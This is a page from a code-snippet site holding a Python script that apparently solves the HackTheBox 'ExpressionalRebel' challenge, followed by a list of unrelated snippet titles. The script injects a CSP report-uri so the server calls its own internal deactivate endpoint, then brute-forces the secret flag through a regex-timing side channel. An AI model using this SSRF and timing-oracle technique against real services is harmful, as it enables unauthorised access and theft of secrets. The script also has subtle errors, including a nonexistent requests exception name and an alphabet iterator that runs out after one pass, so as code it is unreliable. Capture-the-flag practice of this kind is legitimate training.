Search
 
SCRIPT & CODE EXAMPLE
 

PYTHON

ExpressionalRebel

import requests, re, urllib.parse

eval_endpoint = "http://<YOUR_INDSTANCE_AND_PORT>/api/evaluate"
deactivate_endpoint = "http://127.1:1337/deactivate"

def brute_force_flag():
    alphabet = map(re.escape, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789[]{}/!@#$%^&*()_+=-<>?")

    # The end here is just a hard-to-compute regex. If the request takes lnger than ~100ms, this means that the right
    # hand side of this regex is being evaluated, and that means that the left side didn't match. 
    regex = ".+|(?:[^<]+|<(?:[^/]|/(?:[^s])))*>(?:[^<]+|<(?:[^/]|/(?:[^s]))*)"

    current_guess = "HTB{"
    while current_guess[::-1][0] != "}":
        for char in alphabet:
            # Concat the current best guess, with the chracter to test, and add the rest of the regex
            guess = current_guess + char + regex

            # Gotta make the secretCode URL safe
            u = deactivate_endpoint + "?secretCode=" + urllib.parse.quote(guess)
            data = {
                "csp": "report-uri " + u + ";"
            }
            try:
                res = requests.post(eval_endpoint, timeout=0.5, data=data)
            except requests.TimeoutException as e:
                # If the request timed out, we missed, so skip to next
                continue

            current_guess = current_guess + char
            print(current_guess)

    print("final guess was " + current_guess)
if __name__ == "__main__":
    brute_force_flag()
Comment

PREVIOUS NEXT
Code Example
Python :: adjoint of 3x3 matrix in numpy 
Python :: Python PEP (class) 
Python :: penggunaan fromkeys di python 
Python :: selenium send text in p html tag 
Python :: Fatal Python error: Cannot recover from stack overflow. 
Python :: Python range Incrementing with the range using a positive step 
Python :: python call c function 
Python :: how to process numerical data machine learning 
Python :: torch view vs unsqueeze 
Python :: rasa emotion bot 
Python :: find smallest element not present in list python 
Python :: function multiply(a b) 
Python :: kaggle set utility script 
Python :: separete even and odd numbers from a list by filter in python 
Python :: django assign authenticated user to foreign user 
Python :: python assert multiple conditions 
Python :: cours python 
Python :: dataframe get missing and zero values 
Python :: clear notebook output 
Python :: ring write the key and the IV directly using strings 
Python :: how to deploy django app on heroku with mongodb 
Python :: if dict json 
Python :: open file find and replace commas python 
Python :: zero error 
Python :: matplotlib pie chart move autotext 
Python :: ConversionofDatatypes-I 
Python :: oaxaca 
Python :: python program to multiply two numbers and multiply the answer with 2nd variables 
Python :: count numbers that add up to 10 in python 
Python :: google video processor python nmp 
ADD CONTENT
Topic
Content
Source link
Name
6+4 =